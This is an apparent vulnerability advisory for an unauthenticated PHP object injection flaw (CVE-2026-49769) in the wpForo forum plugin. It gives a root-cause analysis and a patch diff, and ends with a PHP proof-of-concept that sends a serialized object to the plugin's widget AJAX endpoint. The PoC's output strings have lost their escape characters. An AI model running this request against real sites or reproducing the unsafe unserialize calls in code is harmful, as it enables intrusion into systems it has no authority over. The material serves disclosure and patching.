Atomic Edge analysis of CVE-2026-49769:
This vulnerability is an unauthenticated PHP Object Injection in the wpForo Forum plugin versions up to and including 3.1.0. The flaw exists in multiple components that unserialize untrusted user input without restricting allowed classes. The CVSS score is 8.1, and the CWE is 502 (Deserialization of Untrusted Data).
The root cause involves unsafe unserialize() calls in several plugin functions. The primary vulnerable code is in wpforo/includes/functions.php within the wpforo_parse_args() function (line 785-788) and the is_serialized() helper (line 811-815). These functions called unserialize() without the allowed_classes parameter, allowing instantiation of arbitrary PHP objects. Additionally, the Members::update() method in wpforo/classes/Members.php (line 641-675) accepted user-supplied ‘data’ arrays that could contain reserved WordPress user fields, enabling mass assignment when permission checks were disabled. The widget AJAX handlers in RecentPosts.php and RecentTopics.php passed user-supplied serialized values (forumids, include, exclude, postids) directly into wpforo_parse_args().
Attackers can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘wpforo_recent_posts_load_more’ or ‘wpforo_recent_topics_load_more’ (or similar widget AJAX actions). The attacker includes a serialized PHP object in one of the array fields such as ‘forumids’, ‘include’, ‘exclude’, or ‘postids’. Because these values are passed to wpforo_parse_args(), which calls unserialize() on serialized strings, the attacker can inject any PHP object. If a POP chain exists via other plugins or the theme, this could lead to arbitrary code execution, file deletion, or data theft.
The patch addresses the vulnerability in several ways. In functions.php, both wpforo_parse_args() and is_serialized() now include the second parameter ‘allowed_classes’ => false to their unserialize() calls, preventing object instantiation. In Members.php, a new security check strips reserved WordPress user column names (user_email, user_login, user_pass, etc.) from custom-field input when permission checks are skipped. The hooks.php registration handler now uses a strict allowlist for wpfreg keys and forces the trusted userid. The widget files coerce id-list fields to integer arrays via array_map(‘intval’, …), preventing serialized payloads from reaching the vulnerable functions.
If exploited and a POP chain exists on the target system, this vulnerability could allow an unauthenticated attacker to delete arbitrary files, retrieve sensitive data, or execute arbitrary code. Without a POP chain, the deserialization still produces undefined behavior and can cause denial of service. The attack requires no authentication and can be triggered via WordPress AJAX endpoints that widget functionality exposes.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -641,6 +641,24 @@
public function update( $data, $type = 'full', $check_permissions = true ) {
$type = (array) $type;
+ // SECURITY: when permission checks are skipped, strip reserved wp_users
+ // column names from custom-field input to block mass assignment.
+ if( ! $check_permissions ) {
+ if( isset( $data['data'] ) && is_array( $data['data'] ) ) {
+ foreach( [
+ 'user_email',
+ 'user_login',
+ 'user_pass',
+ 'user_pass1',
+ 'user_pass2',
+ 'userid',
+ 'ID',
+ ] as $reserved ) {
+ unset( $data['data'][ $reserved ] );
+ }
+ }
+ }
+
switch( WPF()->current_object['template'] ) {
case 'register':
$form = 'wpfreg';
@@ -675,6 +693,15 @@
$data[ $form ]['userid'] = $data['userid'];
}
+ // SECURITY: when permission checks are skipped, force the form userid
+ // to the trusted caller-supplied $data['userid'] (overrides user input).
+ if( ! $check_permissions && wpfval( $data, 'userid' ) ) {
+ if( ! isset( $data[ $form ] ) || ! is_array( $data[ $form ] ) ) {
+ $data[ $form ] = [];
+ }
+ $data[ $form ]['userid'] = (int) $data['userid'];
+ }
+
if( wpfval( $data, $form, 'userid' ) ) {
$result_user = true;
$result_fields = true;
--- a/wpforo/includes/functions.php
+++ b/wpforo/includes/functions.php
@@ -785,7 +785,12 @@
} elseif( is_integer( $args ) || is_float( $args ) ) {
$defined[0] = $args;
} elseif( is_serialized( $args ) ) {
- $defined = unserialize( $args );
+ // SECURITY: refuse to instantiate any class — only scalars and arrays
+ // of scalars are recovered. Blocks PHP Object Injection via widget
+ // AJAX (forumids etc.) and any other caller that may receive
+ // attacker-controlled strings.
+ $defined = unserialize( $args, [ 'allowed_classes' => false ] );
+ if( ! is_array( $defined ) ) $defined = (array) $defined;
} elseif( strpos( (string) $args, '=' ) !== false ) {
parse_str( $args, $defined );
} else {
@@ -811,7 +816,11 @@
function is_serialized( $value ) {
if( $value == '' ) return false;
$value = trim( (string) $value );
- $chsd = @unserialize( $value );
+ // SECURITY: the very act of detecting a serialized payload must not
+ // instantiate classes — @unserialize() with the default options runs
+ // __wakeup() / __destruct() for any embedded object even when the
+ // caller only wanted to test the format. Limit to scalars/arrays.
+ $chsd = @unserialize( $value, [ 'allowed_classes' => false ] );
if( $chsd !== false || $value === 'b:0;' ) {
return true;
} else {
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2203,12 +2203,34 @@
if( wpfval( $_POST, 'wpfreg' ) ) {
$data = $_POST;
$data['userid'] = $userid;
- $data['wpfreg'] = wpforo_clear_array( $data['wpfreg'], [
+
+ // SECURITY: allowlist wpfreg keys + force the trusted userid so an
+ // attacker cannot pivot the downstream update() onto another user.
+ $wpfreg = is_array( $data['wpfreg'] ) ? $data['wpfreg'] : [];
+ $data['wpfreg'] = array_intersect_key( $wpfreg, array_flip( [
'user_login',
'user_email',
'user_pass1',
'user_pass2',
- ], 'key' );
+ ] ) );
+ $data['wpfreg']['userid'] = (int) $userid;
+
+ // SECURITY: strip reserved wp_users column names from custom-field
+ // input so they cannot mass-assign via Members::update()'s array_merge().
+ if( isset( $data['data'] ) && is_array( $data['data'] ) ) {
+ foreach( [
+ 'user_email',
+ 'user_login',
+ 'user_pass',
+ 'user_pass1',
+ 'user_pass2',
+ 'userid',
+ 'ID',
+ ] as $reserved ) {
+ unset( $data['data'][ $reserved ] );
+ }
+ }
+
WPF()->member->update( $data, 'full', false );
}
}
--- a/wpforo/widgets/RecentPosts.php
+++ b/wpforo/widgets/RecentPosts.php
@@ -200,6 +200,18 @@
$post_args['order'] = $this->default_instance['order'];
}
}
+
+ // SECURITY: coerce id-list fields to integer arrays so a serialized
+ // payload from an unauthenticated POST can never reach
+ // wpforo_parse_args() / unserialize() downstream. Defense in depth
+ // alongside the allowed_classes=>false hardening in wpforo_parse_args.
+ foreach( [ 'forumids', 'include', 'exclude', 'postids' ] as $idfield ) {
+ if( isset( $post_args[ $idfield ] ) ) {
+ $post_args[ $idfield ] = is_array( $post_args[ $idfield ] )
+ ? array_map( 'intval', $post_args[ $idfield ] )
+ : [];
+ }
+ }
}
wp_send_json_success( [ 'html' => $this->get_widget( $instance, $post_args ) ] );
--- a/wpforo/widgets/RecentTopics.php
+++ b/wpforo/widgets/RecentTopics.php
@@ -137,6 +137,18 @@
$topic_args['order'] = $this->default_instance['order'];
}
}
+
+ // SECURITY: coerce id-list fields to integer arrays so a serialized
+ // payload from an unauthenticated POST can never reach
+ // wpforo_parse_args() / unserialize() downstream. Defense in depth
+ // alongside the allowed_classes=>false hardening in wpforo_parse_args.
+ foreach( [ 'forumids', 'include', 'exclude' ] as $idfield ) {
+ if( isset( $topic_args[ $idfield ] ) ) {
+ $topic_args[ $idfield ] = is_array( $topic_args[ $idfield ] )
+ ? array_map( 'intval', $topic_args[ $idfield ] )
+ : [];
+ }
+ }
}
wp_send_json_success( [ 'html' => $this->get_widget( $instance, $topic_args ) ] );
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
* Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
* Author: gVectors Team
* Author URI: https://gvectors.com/
-* Version: 3.1.0
+* Version: 3.1.1
* Requires at least: 5.2
* Requires PHP: 7.1
* Text Domain: wpforo
@@ -14,7 +14,7 @@
namespace wpforo;
-define( 'WPFORO_VERSION', '3.1.0' );
+define( 'WPFORO_VERSION', '3.1.1' );
//Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49769 - wpForo Forum <= 3.1.0 - Unauthenticated PHP Object Injection
// Usage: php poc.php [target_url]
// Example: php poc.php http://example.com
$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';
// The vulnerable AJAX action for the Recent Topics widget
$ajax_action = 'wpforo_recent_topics_load_more';
// Craft a serialized payload that triggers object injection.
// Since no POP chain is known, we use a simple object of a non-existent class.
// In a real attack, this would be a class from another plugin with a useful POP chain.
$malicious_object = new stdClass();
$malicious_object->test = 'payload';
$serialized_payload = serialize($malicious_object);
// Build the POST data
$post_data = [
'action' => $ajax_action,
'forumids' => $serialized_payload, // This reaches wpforo_parse_args() which calls unserialize()
'instance' => '{}', // Dummy JSON
'post_args' => '{}' // Dummy JSON
];
// Initialize cURL
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 30
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Target: $target_urln";
echo "[+] AJAX action: $ajax_actionn";
echo "[+] Serialized payload sent in 'forumids' parameter:n";
echo " $serialized_payloadn";
echo "[+] HTTP Response Code: $http_coden";
if ($http_code == 200) {
echo "[!] Server accepted the request (may indicate vulnerability exists)n";
} else {
echo "[-] Request rejected or error occurredn";
}
echo "[+] PoC complete. Check server logs for object instantiation attempts.n";